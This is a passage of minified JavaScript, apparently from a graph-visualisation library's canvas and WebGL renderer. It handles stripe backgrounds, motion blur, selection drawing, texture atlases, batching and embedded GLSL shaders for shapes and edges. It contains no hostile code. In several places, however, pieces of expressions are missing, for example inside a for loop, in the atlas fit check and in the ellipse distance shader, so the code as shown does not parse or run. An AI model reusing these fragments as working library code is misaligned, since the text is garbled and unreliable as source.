d=e.pstyle("stripe-direction").value,p=e.pstyle("stripe-size");switch(d){case"vertical":break;case"righward":t.rotate(-Math.PI/2);break}var m=l,g=u;p.units==="%"?(m=m*p.pfValue,g=g*p.pfValue):p.pfValue!==void 0&&(m=p.pfValue,g=p.pfValue),f&&(a=0,s=0),s-=m/2,a-=g/2;for(var y=1;y<=i.stripeBackgroundN;y++){var v=e.pstyle("stripe-"+y+"-background-size").value,x=e.pstyle("stripe-"+y+"-background-color").value,b=e.pstyle("stripe-"+y+"-background-opacity").value*r,T=v/100;T+h>1&&(T=1-h),!(v===0||h>=1||h+T>1)&&(t.beginPath(),t.rect(a,s+g*h,m,g*T),t.closePath(),this.colorFillStyle(t,x[0],x[1],x[2],b),t.fill(),h+=T)}t.restore()};us={},tqe=100;us.getPixelRatio=function(){var t=this.data.contexts[0];if(this.forcedPixelRatio!=null)return this.forcedPixelRatio;var e=this.cy.window(),r=t.backingStorePixelRatio||t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return(e.devicePixelRatio||1)/r};us.paintCache=function(t){for(var e=this.paintCaches=this.paintCaches||[],r=!0,n,i=0;ie.minMbLowQualFrames&&(e.motionBlurPxRatio=e.mbPxRBlurry)),e.clearingMotionBlur&&(e.motionBlurPxRatio=1),e.textureDrawLastFrame&&!d&&(f[e.NODE]=!0,f[e.SELECT_BOX]=!0);var b=r.style(),T=r.zoom(),S=s!==void 0?s:T,w=r.pan(),k={x:w.x,y:w.y},A={zoom:T,pan:{x:w.x,y:w.y}},C=e.prevViewport,R=C===void 0||A.zoom!==C.zoom||A.pan.x!==C.pan.x||A.pan.y!==C.pan.y;!R&&!(y&&!g)&&(e.motionBlurPxRatio=1),l&&(k=l),S*=u,k.x*=u,k.y*=u;var I=e.getCachedZSortedEles();function L(re,ee,Z,K,ae){var Q=re.globalCompositeOperation;re.globalCompositeOperation="destination-out",e.colorFillStyle(re,255,255,255,e.motionBlurTransparency),re.fillRect(ee,Z,K,ae),re.globalCompositeOperation=Q}o(L,"mbclear");function E(re,ee){var Z,K,ae,Q;!e.clearingMotionBlur&&(re===h.bufferContexts[e.MOTIONBLUR_BUFFER_NODE]||re===h.bufferContexts[e.MOTIONBLUR_BUFFER_DRAG])?(Z={x:w.x*m,y:w.y*m},K=T*m,ae=e.canvasWidth*m,Q=e.canvasHeight*m):(Z=k,K=S,ae=e.canvasWidth,Q=e.canvasHeight),re.setTransform(1,0,0,1,0,0),ee==="motionBlur"?L(re,0,0,ae,Q):!n&&(ee===void 0||ee)&&re.clearRect(0,0,ae,Q),i||(re.translate(Z.x,Z.y),re.scale(K,K)),l&&re.translate(l.x,l.y),s&&re.scale(s,s)}if(o(E,"setContextTransform"),d||(e.textureDrawLastFrame=!1),d){if(e.textureDrawLastFrame=!0,!e.textureCache){e.textureCache={},e.textureCache.bb=r.mutableElements().boundingBox(),e.textureCache.texture=e.data.bufferCanvases[e.TEXTURE_BUFFER];var D=e.data.bufferContexts[e.TEXTURE_BUFFER];D.setTransform(1,0,0,1,0,0),D.clearRect(0,0,e.canvasWidth*e.textureMult,e.canvasHeight*e.textureMult),e.render({forcedContext:D,drawOnlyNodeLayer:!0,forcedPxRatio:u*e.textureMult});var A=e.textureCache.viewport={zoom:r.zoom(),pan:r.pan(),width:e.canvasWidth,height:e.canvasHeight};A.mpan={x:(0-A.pan.x)/A.zoom,y:(0-A.pan.y)/A.zoom}}f[e.DRAG]=!1,f[e.NODE]=!1;var _=h.contexts[e.NODE],O=e.textureCache.texture,A=e.textureCache.viewport;_.setTransform(1,0,0,1,0,0),p?L(_,0,0,A.width,A.height):_.clearRect(0,0,A.width,A.height);var M=b.core("outside-texture-bg-color").value,P=b.core("outside-texture-bg-opacity").value;e.colorFillStyle(_,M[0],M[1],M[2],P),_.fillRect(0,0,A.width,A.height);var T=r.zoom();E(_,!1),_.clearRect(A.mpan.x,A.mpan.y,A.width/A.zoom/u,A.height/A.zoom/u),_.drawImage(O,A.mpan.x,A.mpan.y,A.width/A.zoom/u,A.height/A.zoom/u)}else e.textureOnViewport&&!n&&(e.textureCache=null);var B=r.extent(),F=e.pinching||e.hoverData.dragging||e.swipePanning||e.data.wheelZooming||e.hoverData.draggingEles||e.cy.animated(),G=e.hideEdgesOnViewport&&F,$=[];if($[e.NODE]=!f[e.NODE]&&p&&!e.clearedForMotionBlur[e.NODE]||e.clearingMotionBlur,$[e.NODE]&&(e.clearedForMotionBlur[e.NODE]=!0),$[e.DRAG]=!f[e.DRAG]&&p&&!e.clearedForMotionBlur[e.DRAG]||e.clearingMotionBlur,$[e.DRAG]&&(e.clearedForMotionBlur[e.DRAG]=!0),f[e.NODE]||i||a||$[e.NODE]){var U=p&&!$[e.NODE]&&m!==1,_=n||(U?e.data.bufferContexts[e.MOTIONBLUR_BUFFER_NODE]:h.contexts[e.NODE]),j=p&&!U?"motionBlur":void 0;E(_,j),G?e.drawCachedNodes(_,I.nondrag,u,B):e.drawLayeredElements(_,I.nondrag,u,B),e.debug&&e.drawDebugPoints(_,I.nondrag),!i&&!p&&(f[e.NODE]=!1)}if(!a&&(f[e.DRAG]||i||$[e.DRAG])){var U=p&&!$[e.DRAG]&&m!==1,_=n||(U?e.data.bufferContexts[e.MOTIONBLUR_BUFFER_DRAG]:h.contexts[e.DRAG]);E(_,p&&!U?"motionBlur":void 0),G?e.drawCachedNodes(_,I.drag,u,B):e.drawCachedElements(_,I.drag,u,B),e.debug&&e.drawDebugPoints(_,I.drag),!i&&!p&&(f[e.DRAG]=!1)}if(this.drawSelectionRectangle(t,E),p&&m!==1){var te=h.contexts[e.NODE],Y=e.data.bufferCanvases[e.MOTIONBLUR_BUFFER_NODE],oe=h.contexts[e.DRAG],J=e.data.bufferCanvases[e.MOTIONBLUR_BUFFER_DRAG],ue=o(function(ee,Z,K){ee.setTransform(1,0,0,1,0,0),K||!x?ee.clearRect(0,0,e.canvasWidth,e.canvasHeight):L(ee,0,0,e.canvasWidth,e.canvasHeight);var ae=m;ee.drawImage(Z,0,0,e.canvasWidth*ae,e.canvasHeight*ae,0,0,e.canvasWidth,e.canvasHeight)},"drawMotionBlur");(f[e.NODE]||$[e.NODE])&&(ue(te,Y,$[e.NODE]),f[e.NODE]=!1),(f[e.DRAG]||$[e.DRAG])&&(ue(oe,J,$[e.DRAG]),f[e.DRAG]=!1)}e.prevViewport=A,e.clearingMotionBlur&&(e.clearingMotionBlur=!1,e.motionBlurCleared=!0,e.motionBlur=!0),p&&(e.motionBlurTimeout=setTimeout(function(){e.motionBlurTimeout=null,e.clearedForMotionBlur[e.NODE]=!1,e.clearedForMotionBlur[e.DRAG]=!1,e.motionBlur=!1,e.clearingMotionBlur=!d,e.mbFrames=0,f[e.NODE]=!0,f[e.DRAG]=!0,e.redraw()},tqe)),n||r.emit("render")};us.drawSelectionRectangle=function(t,e){var r=this,n=r.cy,i=r.data,a=n.style(),s=t.drawOnlyNodeLayer,l=t.drawAllLayers,u=i.canvasNeedsRedraw,h=t.forcedContext;if(r.showFps||!s&&u[r.SELECT_BOX]&&!l){var f=h||i.contexts[r.SELECT_BOX];if(e(f),r.selection[4]==1&&(r.hoverData.selecting||r.touchData.selecting)){var d=r.cy.zoom(),p=a.core("selection-box-border-width").value/d;f.lineWidth=p,f.fillStyle="rgba("+a.core("selection-box-color").value[0]+","+a.core("selection-box-color").value[1]+","+a.core("selection-box-color").value[2]+","+a.core("selection-box-opacity").value+")",f.fillRect(r.selection[0],r.selection[1],r.selection[2]-r.selection[0],r.selection[3]-r.selection[1]),p>0&&(f.strokeStyle="rgba("+a.core("selection-box-border-color").value[0]+","+a.core("selection-box-border-color").value[1]+","+a.core("selection-box-border-color").value[2]+","+a.core("selection-box-opacity").value+")",f.strokeRect(r.selection[0],r.selection[1],r.selection[2]-r.selection[0],r.selection[3]-r.selection[1]))}if(i.bgActivePosistion&&!r.hoverData.selecting){var d=r.cy.zoom(),m=i.bgActivePosistion;f.fillStyle="rgba("+a.core("active-bg-color").value[0]+","+a.core("active-bg-color").value[1]+","+a.core("active-bg-color").value[2]+","+a.core("active-bg-opacity").value+")",f.beginPath(),f.arc(m.x,m.y,a.core("active-bg-size").pfValue/d,0,2*Math.PI),f.fill()}var g=r.lastRedrawTime;if(r.showFps&&g){g=Math.round(g);var y=Math.round(1e3/g),v="1 frame = "+g+" ms = "+y+" fps";if(f.setTransform(1,0,0,1,0,0),f.fillStyle="rgba(255, 0, 0, 0.75)",f.strokeStyle="rgba(255, 0, 0, 0.75)",f.font="30px Arial",!j2){var x=f.measureText(v);j2=x.actualBoundingBoxAscent}f.fillText(v,0,j2);var b=60;f.strokeRect(0,j2+10,250,20),f.fillRect(0,j2+10,250*Math.min(y/b,1),20)}l||(u[r.SELECT_BOX]=!1)}};o(Qce,"compileShader");o(rqe,"createProgram");o(nqe,"createTextureCanvas");o(MI,"getEffectivePanZoom");o(iqe,"getEffectiveZoom");o(aqe,"modelToRenderedPosition");o(sqe,"isSimpleShape");o(oqe,"arrayEqual");o(dp,"toWebGLColor");o(Zm,"indexToVec4");o(lqe,"vec4ToIndex");o(cqe,"createTexture");o(Bhe,"getTypeInfo");o(Fhe,"createTypedArray");o(uqe,"createTypedArrayView");o(hqe,"createBufferStaticDraw");o(Mc,"createBufferDynamicDraw");o(fqe,"create3x3MatrixBufferDynamicDraw");o(dqe,"createPickingFrameBuffer");Zce=typeof Float32Array<"u"?Float32Array:Array;Math.hypot||(Math.hypot=function(){for(var t=0,e=arguments.length;e--;)t+=arguments[e]*arguments[e];return Math.sqrt(t)});o(BM,"create");o(Jce,"identity");o(pqe,"multiply");o(Yk,"translate");o(eue,"rotate");o(aI,"scale");o(mqe,"projection");gqe=(function(){function t(e,r,n,i){Af(this,t),this.debugID=Math.floor(Math.random()*1e4),this.r=e,this.texSize=r,this.texRows=n,this.texHeight=Math.floor(r/n),this.enableWrapping=!0,this.locked=!1,this.texture=null,this.needsBuffer=!0,this.freePointer={x:0,row:0},this.keyToLocation=new Map,this.canvas=i(e,r,r),this.scratch=i(e,r,this.texHeight,"scratch")}return o(t,"Atlas"),_f(t,[{key:"lock",value:o(function(){this.locked=!0},"lock")},{key:"getKeys",value:o(function(){return new Set(this.keyToLocation.keys())},"getKeys")},{key:"getScale",value:o(function(r){var n=r.w,i=r.h,a=this.texHeight,s=this.texSize,l=a/i,u=n*l,h=i*l;return u>s&&(l=s/n,u=n*l,h=i*l),{scale:l,texW:u,texH:h}},"getScale")},{key:"draw",value:o(function(r,n,i){var a=this;if(this.locked)throw new Error("can't draw, atlas is locked");var s=this.texSize,l=this.texRows,u=this.texHeight,h=this.getScale(n),f=h.scale,d=h.texW,p=h.texH,m=o(function(T,S){if(i&&S){var w=S.context,k=T.x,A=T.row,C=k,R=u*A;w.save(),w.translate(C,R),w.scale(f,f),i(w,n),w.restore()}},"drawAt"),g=[null,null],y=o(function(){m(a.freePointer,a.canvas),g[0]={x:a.freePointer.x,y:a.freePointer.row*u,w:d,h:p},g[1]={x:a.freePointer.x+d,y:a.freePointer.row*u,w:0,h:p},a.freePointer.x+=d,a.freePointer.x==s&&(a.freePointer.x=0,a.freePointer.row++)},"drawNormal"),v=o(function(){var T=a.scratch,S=a.canvas;T.clear(),m({x:0,row:0},T);var w=s-a.freePointer.x,k=d-w,A=u;{var C=a.freePointer.x,R=a.freePointer.row*u,I=w;S.context.drawImage(T,0,0,I,A,C,R,I,A),g[0]={x:C,y:R,w:I,h:p}}{var L=w,E=(a.freePointer.row+1)*u,D=k;S&&S.context.drawImage(T,L,0,D,A,0,E,D,A),g[1]={x:0,y:E,w:D,h:p}}a.freePointer.x=k,a.freePointer.row++},"drawWrapped"),x=o(function(){a.freePointer.x=0,a.freePointer.row++},"moveToStartOfNextRow");if(this.freePointer.x+d<=s)y();else{if(this.freePointer.row>=l-1)return!1;this.freePointer.x===s?(x(),y()):this.enableWrapping?v():(x(),y())}return this.keyToLocation.set(r,g),this.needsBuffer=!0,g},"draw")},{key:"getOffsets",value:o(function(r){return this.keyToLocation.get(r)},"getOffsets")},{key:"isEmpty",value:o(function(){return this.freePointer.x===0&&this.freePointer.row===0},"isEmpty")},{key:"canFit",value:o(function(r){if(this.locked)return!1;var n=this.texSize,i=this.texRows,a=this.getScale(r),s=a.texW;return this.freePointer.x+s>n?this.freePointer.row1&&arguments[1]!==void 0?arguments[1]:{},a=i.forceRedraw,s=a===void 0?!1:a,l=i.filterEle,u=l===void 0?function(){return!0}:l,h=i.filterType,f=h===void 0?function(){return!0}:h,d=!1,p=!1,m=qs(r),g;try{for(m.s();!(g=m.n()).done;){var y=g.value;if(u(y)){var v=qs(this.renderTypes.values()),x;try{var b=o(function(){var S=x.value,w=S.type;if(f(w)){var k=n.collections.get(S.collection),A=S.getKey(y),C=Array.isArray(A)?A:[A];if(s)C.forEach(function(E){return k.markKeyForGC(E)}),p=!0;else{var R=S.getID?S.getID(y):y.id(),I=n._key(w,R),L=n.typeAndIdToKey.get(I);L!==void 0&&!oqe(C,L)&&(d=!0,n.typeAndIdToKey.delete(I),L.forEach(function(E){return k.markKeyForGC(E)}))}}},"_loop2");for(v.s();!(x=v.n()).done;)b()}catch(T){v.e(T)}finally{v.f()}}}}catch(T){m.e(T)}finally{m.f()}return p&&(this.gc(),d=!1),d},"invalidate")},{key:"gc",value:o(function(){var r=qs(this.collections.values()),n;try{for(r.s();!(n=r.n()).done;){var i=n.value;i.gc()}}catch(a){r.e(a)}finally{r.f()}},"gc")},{key:"getOrCreateAtlas",value:o(function(r,n,i,a){var s=this.renderTypes.get(n),l=this.collections.get(s.collection),u=!1,h=l.draw(a,i,function(p){s.drawClipped?(p.save(),p.beginPath(),p.rect(0,0,i.w,i.h),p.clip(),s.drawElement(p,r,i,!0,!0),p.restore()):s.drawElement(p,r,i,!0,!0),u=!0});if(u){var f=s.getID?s.getID(r):r.id(),d=this._key(n,f);this.typeAndIdToKey.has(d)?this.typeAndIdToKey.get(d).push(a):this.typeAndIdToKey.set(d,[a])}return h},"getOrCreateAtlas")},{key:"getAtlasInfo",value:o(function(r,n){var i=this,a=this.renderTypes.get(n),s=a.getKey(r),l=Array.isArray(s)?s:[s];return l.map(function(u){var h=a.getBoundingBox(r,u),f=i.getOrCreateAtlas(r,n,h,u),d=f.getOffsets(u),p=_i(d,2),m=p[0],g=p[1];return{atlas:f,tex:m,tex1:m,tex2:g,bb:h}})},"getAtlasInfo")},{key:"getDebugInfo",value:o(function(){var r=[],n=qs(this.collections),i;try{for(n.s();!(i=n.n()).done;){var a=_i(i.value,2),s=a[0],l=a[1],u=l.getCounts(),h=u.keyCount,f=u.atlasCount;r.push({type:s,keyCount:h,atlasCount:f})}}catch(d){n.e(d)}finally{n.f()}return r},"getDebugInfo")}])})(),bqe=(function(){function t(e){Af(this,t),this.globalOptions=e,this.atlasSize=e.webglTexSize,this.maxAtlasesPerBatch=e.webglTexPerBatch,this.batchAtlases=[]}return o(t,"AtlasBatchManager"),_f(t,[{key:"getMaxAtlasesPerBatch",value:o(function(){return this.maxAtlasesPerBatch},"getMaxAtlasesPerBatch")},{key:"getAtlasSize",value:o(function(){return this.atlasSize},"getAtlasSize")},{key:"getIndexArray",value:o(function(){return Array.from({length:this.maxAtlasesPerBatch},function(r,n){return n})},"getIndexArray")},{key:"startBatch",value:o(function(){this.batchAtlases=[]},"startBatch")},{key:"getAtlasCount",value:o(function(){return this.batchAtlases.length},"getAtlasCount")},{key:"getAtlases",value:o(function(){return this.batchAtlases},"getAtlases")},{key:"canAddToCurrentBatch",value:o(function(r){return this.batchAtlases.length===this.maxAtlasesPerBatch?this.batchAtlases.includes(r):!0},"canAddToCurrentBatch")},{key:"getAtlasIndexForBatch",value:o(function(r){var n=this.batchAtlases.indexOf(r);if(n<0){if(this.batchAtlases.length===this.maxAtlasesPerBatch)throw new Error("cannot add more atlases to batch");this.batchAtlases.push(r),n=this.batchAtlases.length-1}return n},"getAtlasIndexForBatch")}])})(),Tqe=` + float circleSD(vec2 p, float r) { + return distance(vec2(0), p) - r; // signed distance + } +`,wqe=` + float rectangleSD(vec2 p, vec2 b) { + vec2 d = abs(p)-b; + return distance(vec2(0),max(d,0.0)) + min(max(d.x,d.y),0.0); + } +`,kqe=` + float roundRectangleSD(vec2 p, vec2 b, vec4 cr) { + cr.xy = (p.x > 0.0) ? cr.xy : cr.zw; + cr.x = (p.y > 0.0) ? cr.x : cr.y; + vec2 q = abs(p) - b + cr.x; + return min(max(q.x, q.y), 0.0) + distance(vec2(0), max(q, 0.0)) - cr.x; + } +`,Eqe=` + float ellipseSD(vec2 p, vec2 ab) { + p = abs( p ); // symmetry + + // find root with Newton solver + vec2 q = ab*(p-ab); + float w = (q.x1.0) ? d : -d; + } +`,nx={SCREEN:{name:"screen",screen:!0},PICKING:{name:"picking",picking:!0}},sE={IGNORE:1,USE_BB:2},FM=0,tue=1,rue=2,$M=3,Jm=4,Pk=5,K2=6,Q2=7,Sqe=(function(){function t(e,r,n){Af(this,t),this.r=e,this.gl=r,this.maxInstances=n.webglBatchSize,this.atlasSize=n.webglTexSize,this.bgColor=n.bgColor,this.debug=n.webglDebug,this.batchDebugInfo=[],n.enableWrapping=!0,n.createTextureCanvas=nqe,this.atlasManager=new xqe(e,n),this.batchManager=new bqe(n),this.simpleShapeOptions=new Map,this.program=this._createShaderProgram(nx.SCREEN),this.pickingProgram=this._createShaderProgram(nx.PICKING),this.vao=this._createVAO()}return o(t,"ElementDrawingWebGL"),_f(t,[{key:"addAtlasCollection",value:o(function(r,n){this.atlasManager.addAtlasCollection(r,n)},"addAtlasCollection")},{key:"addTextureAtlasRenderType",value:o(function(r,n){this.atlasManager.addRenderType(r,n)},"addTextureAtlasRenderType")},{key:"addSimpleShapeRenderType",value:o(function(r,n){this.simpleShapeOptions.set(r,n)},"addSimpleShapeRenderType")},{key:"invalidate",value:o(function(r){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},i=n.type,a=this.atlasManager;return i?a.invalidate(r,{filterType:o(function(l){return l===i},"filterType"),forceRedraw:!0}):a.invalidate(r)},"invalidate")},{key:"gc",value:o(function(){this.atlasManager.gc()},"gc")},{key:"_createShaderProgram",value:o(function(r){var n=this.gl,i=`#version 300 es + precision highp float; + + uniform mat3 uPanZoomMatrix; + uniform int uAtlasSize; + + // instanced + in vec2 aPosition; // a vertex from the unit square + + in mat3 aTransform; // used to transform verticies, eg into a bounding box + in int aVertType; // the type of thing we are rendering + + // the z-index that is output when using picking mode + in vec4 aIndex; + + // For textures + in int aAtlasId; // which shader unit/atlas to use + in vec4 aTex; // x/y/w/h of texture in atlas + + // for edges + in vec4 aPointAPointB; + in vec4 aPointCPointD; + in vec2 aLineWidth; // also used for node border width + + // simple shapes + in vec4 aCornerRadius; // for round-rectangle [top-right, bottom-right, top-left, bottom-left] + in vec4 aColor; // also used for edges + in vec4 aBorderColor; // aLineWidth is used for border width + + // output values passed to the fragment shader + out vec2 vTexCoord; + out vec4 vColor; + out vec2 vPosition; + // flat values are not interpolated + flat out int vAtlasId; + flat out int vVertType; + flat out vec2 vTopRight; + flat out vec2 vBotLeft; + flat out vec4 vCornerRadius; + flat out vec4 vBorderColor; + flat out vec2 vBorderWidth; + flat out vec4 vIndex; + + void main(void) { + int vid = gl_VertexID; + vec2 position = aPosition; // TODO make this a vec3, simplifies some code below + + if(aVertType == `.concat(FM,`) { + float texX = aTex.x; // texture coordinates + float texY = aTex.y; + float texW = aTex.z; + float texH = aTex.w; + + if(vid == 1 || vid == 2 || vid == 4) { + texX += texW; + } + if(vid == 2 || vid == 4 || vid == 5) { + texY += texH; + } + + float d = float(uAtlasSize); + vTexCoord = vec2(texX / d, texY / d); // tex coords must be between 0 and 1 + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + } + else if(aVertType == `).concat(Jm," || aVertType == ").concat(Q2,` + || aVertType == `).concat(Pk," || aVertType == ").concat(K2,`) { // simple shapes + + // the bounding box is needed by the fragment shader + vBotLeft = (aTransform * vec3(0, 0, 1)).xy; // flat + vTopRight = (aTransform * vec3(1, 1, 1)).xy; // flat + vPosition = (aTransform * vec3(position, 1)).xy; // will be interpolated + + // calculations are done in the fragment shader, just pass these along + vColor = aColor; + vCornerRadius = aCornerRadius; + vBorderColor = aBorderColor; + vBorderWidth = aLineWidth; + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + } + else if(aVertType == `).concat(tue,`) { + vec2 source = aPointAPointB.xy; + vec2 target = aPointAPointB.zw; + + // adjust the geometry so that the line is centered on the edge + position.y = position.y - 0.5; + + // stretch the unit square into a long skinny rectangle + vec2 xBasis = target - source; + vec2 yBasis = normalize(vec2(-xBasis.y, xBasis.x)); + vec2 point = source + xBasis * position.x + yBasis * aLineWidth[0] * position.y; + + gl_Position = vec4(uPanZoomMatrix * vec3(point, 1.0), 1.0); + vColor = aColor; + } + else if(aVertType == `).concat(rue,`) { + vec2 pointA = aPointAPointB.xy; + vec2 pointB = aPointAPointB.zw; + vec2 pointC = aPointCPointD.xy; + vec2 pointD = aPointCPointD.zw; + + // adjust the geometry so that the line is centered on the edge + position.y = position.y - 0.5; + + vec2 p0, p1, p2, pos; + if(position.x == 0.0) { // The left side of the unit square + p0 = pointA; + p1 = pointB; + p2 = pointC; + pos = position; + } else { // The right side of the unit square, use same approach but flip the geometry upside down + p0 = pointD; + p1 = pointC; + p2 = pointB; + pos = vec2(0.0, -position.y); + } + + vec2 p01 = p1 - p0; + vec2 p12 = p2 - p1; + vec2 p21 = p1 - p2; + + // Find the normal vector. + vec2 tangent = normalize(normalize(p12) + normalize(p01)); + vec2 normal = vec2(-tangent.y, tangent.x); + + // Find the vector perpendicular to p0 -> p1. + vec2 p01Norm = normalize(vec2(-p01.y, p01.x)); + + // Determine the bend direction. + float sigma = sign(dot(p01 + p21, normal)); + float width = aLineWidth[0]; + + if(sign(pos.y) == -sigma) { + // This is an intersecting vertex. Adjust the position so that there's no overlap. + vec2 point = 0.5 * width * normal * -sigma / dot(normal, p01Norm); + gl_Position = vec4(uPanZoomMatrix * vec3(p1 + point, 1.0), 1.0); + } else { + // This is a non-intersecting vertex. Treat it like a mitre join. + vec2 point = 0.5 * width * normal * sigma * dot(normal, p01Norm); + gl_Position = vec4(uPanZoomMatrix * vec3(p1 + point, 1.0), 1.0); + } + + vColor = aColor; + } + else if(aVertType == `).concat($M,` && vid < 3) { + // massage the first triangle into an edge arrow + if(vid == 0) + position = vec2(-0.15, -0.3); + if(vid == 1) + position = vec2( 0.0, 0.0); + if(vid == 2) + position = vec2( 0.15, -0.3); + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + vColor = aColor; + } + else { + gl_Position = vec4(2.0, 0.0, 0.0, 1.0); // discard vertex by putting it outside webgl clip space + } + + vAtlasId = aAtlasId; + vVertType = aVertType; + vIndex = aIndex; + } + `),a=this.batchManager.getIndexArray(),s=`#version 300 es + precision highp float; + + // declare texture unit for each texture atlas in the batch + `.concat(a.map(function(h){return"uniform sampler2D uTexture".concat(h,";")}).join(` + `),` + + uniform vec4 uBGColor; + uniform float uZoom; + + in vec2 vTexCoord; + in vec4 vColor; + in vec2 vPosition; // model coordinates + + flat in int vAtlasId; + flat in vec4 vIndex; + flat in int vVertType; + flat in vec2 vTopRight; + flat in vec2 vBotLeft; + flat in vec4 vCornerRadius; + flat in vec4 vBorderColor; + flat in vec2 vBorderWidth; + + out vec4 outColor; + + `).concat(Tqe,` + `).concat(wqe,` + `).concat(kqe,` + `).concat(Eqe,` + + vec4 blend(vec4 top, vec4 bot) { // blend colors with premultiplied alpha + return vec4( + top.rgb + (bot.rgb * (1.0 - top.a)), + top.a + (bot.a * (1.0 - top.a)) + ); + } + + vec4 distInterp(vec4 cA, vec4 cB, float d) { // interpolate color using Signed Distance + // scale to the zoom level so that borders don't look blurry when zoomed in + // note 1.5 is an aribitrary value chosen because it looks good + return mix(cA, cB, 1.0 - smoothstep(0.0, 1.5 / uZoom, abs(d))); + } + + void main(void) { + if(vVertType == `).concat(FM,`) { + // look up the texel from the texture unit + `).concat(a.map(function(h){return"if(vAtlasId == ".concat(h,") outColor = texture(uTexture").concat(h,", vTexCoord);")}).join(` + else `),` + } + else if(vVertType == `).concat($M,`) { + // mimics how canvas renderer uses context.globalCompositeOperation = 'destination-out'; + outColor = blend(vColor, uBGColor); + outColor.a = 1.0; // make opaque, masks out line under arrow + } + else if(vVertType == `).concat(Jm,` && vBorderWidth == vec2(0.0)) { // simple rectangle with no border + outColor = vColor; // unit square is already transformed to the rectangle, nothing else needs to be done + } + else if(vVertType == `).concat(Jm," || vVertType == ").concat(Q2,` + || vVertType == `).concat(Pk," || vVertType == ").concat(K2,`) { // use SDF + + float outerBorder = vBorderWidth[0]; + float innerBorder = vBorderWidth[1]; + float borderPadding = outerBorder * 2.0; + float w = vTopRight.x - vBotLeft.x - borderPadding; + float h = vTopRight.y - vBotLeft.y - borderPadding; + vec2 b = vec2(w/2.0, h/2.0); // half width, half height + vec2 p = vPosition - vec2(vTopRight.x - b[0] - outerBorder, vTopRight.y - b[1] - outerBorder); // translate to center + + float d; // signed distance + if(vVertType == `).concat(Jm,`) { + d = rectangleSD(p, b); + } else if(vVertType == `).concat(Q2,` && w == h) { + d = circleSD(p, b.x); // faster than ellipse + } else if(vVertType == `).concat(Q2,`) { + d = ellipseSD(p, b); + } else { + d = roundRectangleSD(p, b, vCornerRadius.wzyx); + } + + // use the distance to interpolate a color to smooth the edges of the shape, doesn't need multisampling + // we must smooth colors inwards, because we can't change pixels outside the shape's bounding box + if(d > 0.0) { + if(d > outerBorder) { + discard; + } else { + outColor = distInterp(vBorderColor, vec4(0), d - outerBorder); + } + } else { + if(d > innerBorder) { + vec4 outerColor = outerBorder == 0.0 ? vec4(0) : vBorderColor; + vec4 innerBorderColor = blend(vBorderColor, vColor); + outColor = distInterp(innerBorderColor, outerColor, d); + } + else { + vec4 outerColor; + if(innerBorder == 0.0 && outerBorder == 0.0) { + outerColor = vec4(0); + } else if(innerBorder == 0.0) { + outerColor = vBorderColor; + } else { + outerColor = blend(vBorderColor, vColor); + } + outColor = distInterp(vColor, outerColor, d - innerBorder); + } + } + } + else { + outColor = vColor; + } + + `).concat(r.picking?`if(outColor.a == 0.0) discard; + else outColor = vIndex;`:"",` + } + `),l=rqe(n,i,s);l.aPosition=n.getAttribLocation(l,"aPosition"),l.aIndex=n.getAttribLocation(l,"aIndex"),l.aVertType=n.getAttribLocation(l,"aVertType"),l.aTransform=n.getAttribLocation(l,"aTransform"),l.aAtlasId=n.getAttribLocation(l,"aAtlasId"),l.aTex=n.getAttribLocation(l,"aTex"),l.aPointAPointB=n.getAttribLocation(l,"aPointAPointB"),l.aPointCPointD=n.getAttribLocation(l,"aPointCPointD"),l.aLineWidth=n.getAttribLocation(l,"aLineWidth"),l.aColor=n.getAttribLocation(l,"aColor"),l.aCornerRadius=n.getAttribLocation(l,"aCornerRadius"),l.aBorderColor=n.getAttribLocation(l,"aBorderColor"),l.uPanZoomMatrix=n.getUniformLocation(l,"uPanZoomMatrix"),l.uAtlasSize=n.getUniformLocation(l,"uAtlasSize"),l.uBGColor=n.getUniformLocation(l,"uBGColor"),l.uZoom=n.getUniformLocation(l,"uZoom"),l.uTextures=[];for(var u=0;u1&&arguments[1]!==void 0?arguments[1]:nx.SCREEN;this.panZoomMatrix=r,this.renderTarget=n,this.batchDebugInfo=[],this.wrappedCount=0,this.simpleCount=0,this.startBatch()},"startFrame")},{key:"startBatch",value:o(function(){this.instanceCount=0,this.batchManager.startBatch()},"startBatch")},{key:"endFrame",value:o(function(){this.endBatch()},"endFrame")},{key:"_isVisible",value:o(function(r,n){return r.visible()?n&&n.isVisible?n.isVisible(r):!0:!1},"_isVisible")},{key:"drawTexture",value:o(function(r,n,i){var a=this.atlasManager,s=this.batchManager,l=a.getRenderTypeOpts(i);if(this._isVisible(r,l)&&!(r.isEdge()&&!this._isValidEdge(r))){if(this.renderTarget.picking&&l.getTexPickingMode){var u=l.getTexPickingMode(r);if(u===sE.IGNORE)return;if(u==sE.USE_BB){this.drawPickingRectangle(r,n,i);return}}var h=a.getAtlasInfo(r,i),f=qs(h),d;try{for(f.s();!(d=f.n()).done;){var p=d.value,m=p.atlas,g=p.tex1,y=p.tex2;s.canAddToCurrentBatch(m)||this.endBatch();for(var v=s.getAtlasIndexForBatch(m),x=0,b=[[g,!0],[y,!1]];x=this.maxInstances&&this.endBatch()}}}}catch(L){f.e(L)}finally{f.f()}}},"drawTexture")},{key:"setTransformMatrix",value:o(function(r,n,i,a){var s=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,l=0;if(i.shapeProps&&i.shapeProps.padding&&(l=r.pstyle(i.shapeProps.padding).pfValue),a){var u=a.bb,h=a.tex1,f=a.tex2,d=h.w/(h.w+f.w);s||(d=1-d);var p=this._getAdjustedBB(u,l,s,d);this._applyTransformMatrix(n,p,i,r)}else{var m=i.getBoundingBox(r),g=this._getAdjustedBB(m,l,!0,1);this._applyTransformMatrix(n,g,i,r)}},"setTransformMatrix")},{key:"_applyTransformMatrix",value:o(function(r,n,i,a){var s,l;Jce(r);var u=i.getRotation?i.getRotation(a):0;if(u!==0){var h=i.getRotationPoint(a),f=h.x,d=h.y;Yk(r,r,[f,d]),eue(r,r,u);var p=i.getRotationOffset(a);s=p.x+(n.xOffset||0),l=p.y+(n.yOffset||0)}else s=n.x1,l=n.y1;Yk(r,r,[s,l]),aI(r,r,[n.w,n.h])},"_applyTransformMatrix")},{key:"_getAdjustedBB",value:o(function(r,n,i,a){var 